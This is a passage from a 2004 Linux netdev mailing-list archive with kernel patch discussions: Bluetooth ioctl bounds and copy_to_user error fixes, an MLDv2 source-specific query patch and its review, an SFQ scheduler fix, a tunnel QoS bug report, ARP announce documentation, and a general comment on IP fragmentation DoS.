@@ -425,6 +426,5 @@ if (!conn) return -ENOENT; - copy_to_user(ptr, &ci, sizeof(ci)); - return 0; + return copy_to_user(ptr, &ci, sizeof(ci)) ? -EFAULT : 0; } ===== net/bluetooth/hci_core.c 1.22 vs edited ===== --- 1.22/net/bluetooth/hci_core.c Thu Feb 5 13:07:36 2004 +++ edited/net/bluetooth/hci_core.c Wed Feb 11 20:59:03 2004 @@ -716,22 +716,20 @@ struct hci_dev_list_req *dl; struct hci_dev_req *dr; struct list_head *p; - int n = 0, size; + int n = 0, size, err; __u16 dev_num; if (get_user(dev_num, (__u16 *) arg)) return -EFAULT; - if (!dev_num) + if (!dev_num || dev_num > (PAGE_SIZE * 2) / sizeof(*dr)) return -EINVAL; - - size = dev_num * sizeof(*dr) + sizeof(*dl); - if (verify_area(VERIFY_WRITE, (void *) arg, size)) - return -EFAULT; + size = sizeof(*dl) + dev_num * sizeof(*dr); if (!(dl = kmalloc(size, GFP_KERNEL))) return -ENOMEM; + dr = dl->dev_req; read_lock_bh(&hci_dev_list_lock); @@ -746,12 +744,12 @@ read_unlock_bh(&hci_dev_list_lock); dl->dev_num = n; - size = n * sizeof(*dr) + sizeof(*dl); + size = sizeof(*dl) + n * sizeof(*dr); - copy_to_user((void *) arg, dl, size); + err = copy_to_user((void *) arg, dl, size); kfree(dl); - return 0; + return err ? -EFAULT : 0; } int hci_get_dev_info(unsigned long arg) ===== net/bluetooth/rfcomm/tty.c 1.28 vs edited ===== --- 1.28/net/bluetooth/rfcomm/tty.c Thu Aug 7 02:24:51 2003 +++ edited/net/bluetooth/rfcomm/tty.c Wed Feb 11 21:01:25 2004 @@ -349,7 +349,7 @@ struct rfcomm_dev_list_req *dl; struct rfcomm_dev_info *di; struct list_head *p; - int n = 0, size; + int n = 0, size, err; u16 dev_num; BT_DBG(""); @@ -357,14 +357,11 @@ if (get_user(dev_num, (u16 *) arg)) return -EFAULT; - if (!dev_num) + if (!dev_num || dev_num > (PAGE_SIZE * 4) / sizeof(*di)) return -EINVAL; size = sizeof(*dl) + dev_num * sizeof(*di); - if (verify_area(VERIFY_WRITE, (void *)arg, size)) - return -EFAULT; - if (!(dl = kmalloc(size, GFP_KERNEL))) return -ENOMEM; @@ -389,9 +386,10 @@ dl->dev_num = n; size = sizeof(*dl) + n * sizeof(*di); - copy_to_user((void *) arg, dl, size); + err = copy_to_user((void *) arg, dl, size); kfree(dl); - return 0; + + return err ? -EFAULT : 0; } static int rfcomm_get_dev_info(unsigned long arg) @@ -563,8 +561,10 @@ set_bit(RFCOMM_TTY_ATTACHED, &dev->flags); err = rfcomm_dlc_open(dlc, &dev->src, &dev->dst, dev->channel); - if (err < 0) + if (err < 0) { + rfcomm_dev_put(dev); return err; + } /* Wait for DLC to connect */ add_wait_queue(&dev->wait, &wait); @@ -588,6 +588,9 @@ } set_current_state(TASK_RUNNING); remove_wait_queue(&dev->wait, &wait); + + if (err < 0) + rfcomm_dev_put(dev); return err; } --=-NfNX0DxuTNen//JZIYqY-- From dlstevens@us.ibm.com Wed Feb 11 13:01:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 13:01:25 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BL11KQ016547 for ; Wed, 11 Feb 2004 13:01:14 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1BL0hOH263144; Wed, 11 Feb 2004 16:00:43 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1BL0fhP194942; Wed, 11 Feb 2004 14:00:42 -0700 In-Reply-To: <20040211.160152.48476158.yoshfuji@linux-ipv6.org> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 11 Feb 2004 14:00:39 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/11/2004 14:00:41 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4A4DFE1784F8f9e8a93df938690918c07BBE4A4DFE1784F" X-archive-position: 3235 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4A4DFE1784F8f9e8a93df938690918c07BBE4A4DFE1784F Content-type: multipart/alternative; Boundary="1__=07BBE4A4DFE1784F8f9e8a93df938690918c07BBE4A4DFE1784F" --1__=07BBE4A4DFE1784F8f9e8a93df938690918c07BBE4A4DFE1784F Content-type: text/plain; charset=US-ASCII Ok, here's what I hope is the final version of the patch, so we can finally put this to bed. :-) +-DLS diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F2/include/net/addrconf.h --- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800 +++ linux-2.6.2F2/include/net/addrconf.h 2004-02-10 15:17:00.000000000 -0800 @@ -98,6 +98,7 @@ extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, struct in6_addr *src_addr); +extern int ipv6_is_mld(struct sk_buff *skb); extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len); diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F2/net/ipv6/ip6_input.c --- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800 +++ linux-2.6.2F2/net/ipv6/ip6_input.c 2004-02-11 12:34:27.000000000 -0800 @@ -168,11 +168,19 @@ smp_read_barrier_depends(); if (ipprot->flags & INET6_PROTO_FINAL) { + struct ipv6hdr *hdr; + if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) { skb->csum = csum_sub(skb->csum, csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0)); cksum_sub++; } + hdr = skb->nh.ipv6h; + if (ipv6_addr_is_multicast(&hdr->daddr) && + !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, + &hdr->saddr) && + !ipv6_is_mld(skb)) + goto discard; } if (!(ipprot->flags & INET6_PROTO_NOPOLICY) && !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) @@ -211,15 +219,14 @@ int ip6_mc_input(struct sk_buff *skb) { - struct ipv6hdr *hdr; - int deliver = 0; - int discard = 1; + struct ipv6hdr *hdr; + int deliver; IP6_INC_STATS_BH(Ip6InMcastPkts); hdr = skb->nh.ipv6h; - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) - deliver = 1; + deliver = likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))) || + ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL); /* * IPv6 multicast router mode isnt currently supported. @@ -238,23 +245,21 @@ if (deliver) { skb2 = skb_clone(skb, GFP_ATOMIC); + dst_output(skb2); } else { - discard = 0; - skb2 = skb; + dst_output(skb); + return 0; } - - dst_output(skb2); } } #endif - if (deliver) { - discard = 0; + if (likely(deliver)) { ip6_input(skb); + return 0; } - - if (discard) - kfree_skb(skb); + /* discard */ + kfree_skb(skb); return 0; } diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F2/net/ipv6/mcast.c --- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800 +++ linux-2.6.2F2/net/ipv6/mcast.c 2004-02-11 12:34:34.000000000 -0800 @@ -901,6 +901,30 @@ } /* + * identify MLD packets for MLD filter exceptions + */ +int ipv6_is_mld(struct sk_buff *skb) +{ + struct icmp6hdr *pic; + + if (!pskb_may_pull(skb, sizeof(struct icmp6hdr))) + return 0; + + pic = (struct icmp6hdr *)skb->h.raw; + + switch (pic->icmp6_type) { + case ICMPV6_MGM_QUERY: + case ICMPV6_MGM_REPORT: + case ICMPV6_MGM_REDUCTION: + case ICMPV6_MLD2_REPORT: + return 1; + default: + break; + } + return 0; +} + +/* * check if the interface/address pair is valid */ int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, @@ -918,7 +942,7 @@ break; } if (mc) { - if (!ipv6_addr_any(src_addr)) { + if (src_addr && !ipv6_addr_any(src_addr)) { struct ip6_sf_list *psf; spin_lock_bh(&mc->mca_lock); (See attached file: mldx5.patch) --1__=07BBE4A4DFE1784F8f9e8a93df938690918c07BBE4A4DFE1784F Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Ok, here's what I hope is the final version of the patch, so we can
finally put this to bed. :-)

+-DLS

diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F2/include/net/addrconf.h
--- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800
+++ linux-2.6.2F2/include/net/addrconf.h 2004-02-10 15:17:00.000000000 -0800
@@ -98,6 +98,7 @@

extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
struct in6_addr *src_addr);
+extern int ipv6_is_mld(struct sk_buff *skb);

extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len);

diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F2/net/ipv6/ip6_input.c
--- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800
+++ linux-2.6.2F2/net/ipv6/ip6_input.c 2004-02-11 12:34:27.000000000 -0800
@@ -168,11 +168,19 @@

smp_read_barrier_depends();
if (ipprot->flags & INET6_PROTO_FINAL) {
+ struct ipv6hdr *hdr;
+
if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) {
skb->csum = csum_sub(skb->csum,
csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0));
cksum_sub++;
}
+ hdr = skb->nh.ipv6h;
+ if (ipv6_addr_is_multicast(&hdr->daddr) &&
+ !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr,
+ &hdr->saddr) &&
+ !ipv6_is_mld(skb))
+ goto discard;
}
if (!(ipprot->flags & INET6_PROTO_NOPOLICY) &&
!xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb))
@@ -211,15 +219,14 @@

int ip6_mc_input(struct sk_buff *skb)
{
- struct ipv6hdr *hdr;
- int deliver = 0;
- int discard = 1;
+ struct ipv6hdr *hdr;
+ int deliver;

IP6_INC_STATS_BH(Ip6InMcastPkts);

hdr = skb->nh.ipv6h;
- if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr))
- deliver = 1;
+ deliver = likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))) ||
+ ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL);

/*
* IPv6 multicast router mode isnt currently supported.
@@ -238,23 +245,21 @@

if (deliver) {
skb2 = skb_clone(skb, GFP_ATOMIC);
+ dst_output(skb2);
} else {
- discard = 0;
- skb2 = skb;
+ dst_output(skb);
+ return 0;
}
-
- dst_output(skb2);
}
}
#endif

- if (deliver) {
- discard = 0;
+ if (likely(deliver)) {
ip6_input(skb);
+ return 0;
}
-
- if (discard)
- kfree_skb(skb);
+ /* discard */
+ kfree_skb(skb);

return 0;
}
diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F2/net/ipv6/mcast.c
--- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800
+++ linux-2.6.2F2/net/ipv6/mcast.c 2004-02-11 12:34:34.000000000 -0800
@@ -901,6 +901,30 @@
}

/*
+ * identify MLD packets for MLD filter exceptions
+ */
+int ipv6_is_mld(struct sk_buff *skb)
+{
+ struct icmp6hdr *pic;
+
+ if (!pskb_may_pull(skb, sizeof(struct icmp6hdr)))
+ return 0;
+
+ pic = (struct icmp6hdr *)skb->h.raw;
+
+ switch (pic->icmp6_type) {
+ case ICMPV6_MGM_QUERY:
+ case ICMPV6_MGM_REPORT:
+ case ICMPV6_MGM_REDUCTION:
+ case ICMPV6_MLD2_REPORT:
+ return 1;
+ default:
+ break;
+ }
+ return 0;
+}
+
+/*
* check if the interface/address pair is valid
*/
int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
@@ -918,7 +942,7 @@
break;
}
if (mc) {
- if (!ipv6_addr_any(src_addr)) {
+ if (src_addr && !ipv6_addr_any(src_addr)) {
struct ip6_sf_list *psf;

spin_lock_bh(&mc->mca_lock);
(See attached file: mldx5.patch)
--1__=07BBE4A4DFE1784F8f9e8a93df938690918c07BBE4A4DFE1784F-- --0__=07BBE4A4DFE1784F8f9e8a93df938690918c07BBE4A4DFE1784F Content-type: application/octet-stream; name="mldx5.patch" Content-Disposition: attachment; filename="mldx5.patch" Content-ID: <10__=07BBE4A4DFE1784F8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yL2luY2x1ZGUvbmV0L2FkZHJjb25mLmggbGludXgtMi42LjJG Mi9pbmNsdWRlL25ldC9hZGRyY29uZi5oCi0tLSBsaW51eC0yLjYuMi9pbmNsdWRlL25ldC9hZGRy Y29uZi5oCTIwMDQtMDItMDMgMTk6NDQ6MTcuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYu MkYyL2luY2x1ZGUvbmV0L2FkZHJjb25mLmgJMjAwNC0wMi0xMCAxNToxNzowMC4wMDAwMDAwMDAg LTA4MDAKQEAgLTk4LDYgKzk4LDcgQEAKIAogZXh0ZXJuIGludCBpcHY2X2Noa19tY2FzdF9hZGRy KHN0cnVjdCBuZXRfZGV2aWNlICpkZXYsIHN0cnVjdCBpbjZfYWRkciAqZ3JvdXAsCiAJCXN0cnVj dCBpbjZfYWRkciAqc3JjX2FkZHIpOworZXh0ZXJuIGludCBpcHY2X2lzX21sZChzdHJ1Y3Qgc2tf YnVmZiAqc2tiKTsKIAogZXh0ZXJuIHZvaWQgYWRkcmNvbmZfcHJlZml4X3JjdihzdHJ1Y3QgbmV0 X2RldmljZSAqZGV2LCB1OCAqb3B0LCBpbnQgbGVuKTsKIApkaWZmIC1ydU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OworfQorCisvKgogICoJY2hlY2sgaWYgdGhlIGludGVyZmFjZS9hZGRyZXNzIHBhaXIg aXMgdmFsaWQKICAqLwogaW50IGlwdjZfY2hrX21jYXN0X2FkZHIoc3RydWN0IG5ldF9kZXZpY2Ug KmRldiwgc3RydWN0IGluNl9hZGRyICpncm91cCwKQEAgLTkxOCw3ICs5NDIsNyBAQAogCQkJCWJy ZWFrOwogCQl9CiAJCWlmIChtYykgewotCQkJaWYgKCFpcHY2X2FkZHJfYW55KHNyY19hZGRyKSkg eworCQkJaWYgKHNyY19hZGRyICYmICFpcHY2X2FkZHJfYW55KHNyY19hZGRyKSkgewogCQkJCXN0 cnVjdCBpcDZfc2ZfbGlzdCAqcHNmOwogCiAJCQkJc3Bpbl9sb2NrX2JoKCZtYy0+bWNhX2xvY2sp Owo= --0__=07BBE4A4DFE1784F8f9e8a93df938690918c07BBE4A4DFE1784F-- From yoshfuji@linux-ipv6.org Wed Feb 11 18:02:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 18:02:41 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C22UKO009889 for ; Wed, 11 Feb 2004 18:02:31 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id BFF6D33CA5; Thu, 12 Feb 2004 11:03:28 +0900 (JST) Date: Thu, 12 Feb 2004 11:03:28 +0900 (JST) Message-Id: <20040212.110328.103131455.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040211.160152.48476158.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3236 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Wed, 11 Feb 2004 14:00:39 -0700), David Stevens says: > Ok, here's what I hope is the final version of the patch, so we can > finally put this to bed. :-) Well... > + hdr = skb->nh.ipv6h; > + if (ipv6_addr_is_multicast(&hdr->daddr) && > + !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, > + &hdr->saddr) && > + !ipv6_is_mld(skb)) > + goto discard; : You forgot to check if proto is IPPROTO_ICMPV6. (This is one reason why I want to check the icmpv6 code in icmpv6_rcv().) if (ipv6_addr_is_multicast(&hdr->daddr) && !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr) && (proto != IPPROTO_ICMPV6 || !ipv6_is_mld(skb))) goto discard; And, the name ipv6_is_mld should be icmpv6_is_mld or something like this now. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From gandalf@digital.net Wed Feb 11 18:20:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 18:20:30 -0800 (PST) Received: from lakemtao05.cox.net (lakemtao05.cox.net [68.1.17.116]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C2KPKO013180 for ; Wed, 11 Feb 2004 18:20:26 -0800 Received: from [192.168.1.94] ([68.13.240.115]) by lakemtao05.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040212022018.OVZY29834.lakemtao05.cox.net@[192.168.1.94]>; Wed, 11 Feb 2004 21:20:18 -0500 User-Agent: Microsoft-Entourage/10.1.4.030702.0 Date: Wed, 11 Feb 2004 20:20:19 -0600 Subject: Re: Fragmentation Attack From: Gandalf The White To: "David S. Miller" CC: Linux IPStack Message-ID: In-Reply-To: <20040208131826.104eaef4.davem@redhat.com> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-archive-position: 3237 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gandalf@digital.net Precedence: bulk X-list: netdev Greetings and Salutations: On 2/8/04 3:18 PM, "David S. Miller" wrote: > In this day and age, and with all the headaches fragmentation causes > (either directly or indirectly via these resource consumption DoS's) > we may soon be reaching the point where only talking to sites doing > path-MTU discovery (yes, even for UDP) is a valid decision for a big > site. > This would solve the problem in a hurry. For good or bad, IPV6 carries fragmentation with it. Indeed it is a little further in the header, but fragmentation is still there. It was my hope that this group would be able to come up with a better algorithm to (more) efficiently handle IP fragments. Whatever the algorithm now it is doing a fairly good job. Like it or not fragmentation is here to stay for your and my lifetime. Yes, I agree that sites would be better off not allowing fragmentation. They might be better off doing MTU discovery but that protocol can also be used to map out networks. The best solution is unfortunately placed on the software engineers that design the software. The software has to be as efficient as possible. The engineers can only hope that CPU and / or NIC speed will outpace the speed at which data is transmitted thereby making the CPU / NIC able to handle anything thrown at it. I am a network administrator (I also design and install networks). I work with routers, switches, firewalls, VPNs, nothing above layer 4. From what I have seen of server administrators in my past I don't have much faith in them being able to handle "network" problems. Instead of methodical troubleshooting many have the "keep stabbing in the dark until it works then leave it alone" attitude (and they never know why it works when it does). At many companies these server admins are called "Network Administrators". They are expected to know how to not only set up servers, but to know how to run the network (from managements limited knowledge those are the same things). To expect them to know such arcane IP concepts as MTU path discovery and fragmentation is (IMHO) asking too much. They are lucky to be able to tell the difference between IP or IPX, TCP UDP or ICMP. As systems get more and more complex we, the technologists creating these systems are going to have to simplify and automagically protect users and administrators from themselves as best we can. Turn on all the autoupdates we can and make a standard install start as few services as possible. Allow the system administrators with knowledge to shut down autoupdates and turn up services that they need, but only if they are technically savvy enough to know to do these things. My 2 cents worth. Thank you for listening. Ken --------------------------------------------------------------- Do not meddle in the affairs of wizards for they are subtle and quick to anger. Ken Hollis - Gandalf The White - gandalf@digital.net - O- TINLC WWW Page - http://digital.net/~gandalf/ Trace E-Mail forgery - http://digital.net/~gandalf/spamfaq.html Trolls crossposts - http://digital.net/~gandalf/trollfaq.html From davem@redhat.com Wed Feb 11 19:35:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 19:35:43 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C3ZcKO025771 for ; Wed, 11 Feb 2004 19:35:39 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C3ZXb08360; Wed, 11 Feb 2004 22:35:33 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C3ZWi04451; Wed, 11 Feb 2004 22:35:32 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C3YwkC010782; Wed, 11 Feb 2004 22:34:58 -0500 Date: Wed, 11 Feb 2004 19:35:31 -0800 From: "David S. Miller" To: Miguel Freitas Cc: netdev@oss.sgi.com Subject: Re: [Fwd: [patch] fix slot clash in sch_sfq.c] Message-Id: <20040211193531.685c73c6.davem@redhat.com> In-Reply-To: <1076532461.19204.50.camel@pitanga.ldhs.cetuc.puc-rio.br> References: <1076532461.19204.50.camel@pitanga.ldhs.cetuc.puc-rio.br> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3238 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 11 Feb 2004 18:47:41 -0200 Miguel Freitas wrote: > I better send a copy of this one to the mailing list... Your patch is correct. It is amusing that sfq_drop() was handling this correctly yet sfq_dequeue() was not. In fact, this breaks pretty seriously the behavior of this scheduler as you've noted. From davem@redhat.com Wed Feb 11 20:05:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 20:06:09 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C45tKO031288 for ; Wed, 11 Feb 2004 20:05:56 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C45ob19698; Wed, 11 Feb 2004 23:05:51 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C45oi11327; Wed, 11 Feb 2004 23:05:50 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C45GkC020189; Wed, 11 Feb 2004 23:05:16 -0500 Date: Wed, 11 Feb 2004 20:05:49 -0800 From: "David S. Miller" To: Dawid Kuroczko Cc: netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP Message-Id: <20040211200549.736fa8b3.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3239 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev [ moving from linux-kernel to correct mailing list... ] Czesc Dawid, On Tue, 10 Feb 2004 13:36:32 +0100 (CET) Dawid Kuroczko wrote: > There seems to be a bug in QoS scheduling code related to IP-over-IP > tunnels (ipip.ko). My setup is a bit unusual -- my default route > goes through tunl1, so I want it shaped. It worked fine with 2.4, > but it doesn't with 2.6 (2.6.1 and 2.6.2, I made a transition quite > recently). Can you assign QoS schedulers and classifiers successfully to eth0 or some other non ipip device? Does it work with 'tunl0' instead of 'tunl1'? Stephen, I bet this problem got introduced when we moved ipip.c over to dynamic netdevice allocation, can you take a look? From davem@redhat.com Wed Feb 11 20:17:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 20:17:09 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C4H3KO000952 for ; Wed, 11 Feb 2004 20:17:04 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C4Gwb23933; Wed, 11 Feb 2004 23:16:58 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C4Gwi13716; Wed, 11 Feb 2004 23:16:58 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C4GNkC023656; Wed, 11 Feb 2004 23:16:23 -0500 Date: Wed, 11 Feb 2004 20:16:56 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040211201656.4e4f708e.davem@redhat.com> In-Reply-To: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3240 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 10 Feb 2004 03:00:24 +0200 (EET) Julian Anastasov wrote: > If you like it in this way you can apply now or after > some days or to delay it if we want to combine it with other > device flags or changes. I like the patch, but I want the documentation changed. If you'll recall, one of the big problems Alexey and myself had with the new ARP saddr selection behavior you propose is that it assumes that: if we do not know of a certain subnet being on a link than this subnet does not exist there. In some environments this assumption holds. But "some != all" as I often say to a friend of mine :-) No router has this knowledge completely, and in many environments such an assumption does not hold. I know you understand this, which is why your patch keeps the current behavior the default. But I want the docs for the sysctl to talk about this. Something simple like: + 1 - Try to avoid local addresses that are not in the target's + subnet for this interface as far as we know. In some environments + subnets may be active that this system is not aware of, thus this + setting might cause problems in such cases. Tweak it however you wish, just get the idea/warning across. I'd also prefer if you at least lightly define what "best" source address means in the context of arp_announce==2. Thanks. From davem@redhat.com Wed Feb 11 20:22:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 20:23:01 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C4MuKO005094 for ; Wed, 11 Feb 2004 20:22:57 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C4Mqb25926; Wed, 11 Feb 2004 23:22:52 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with 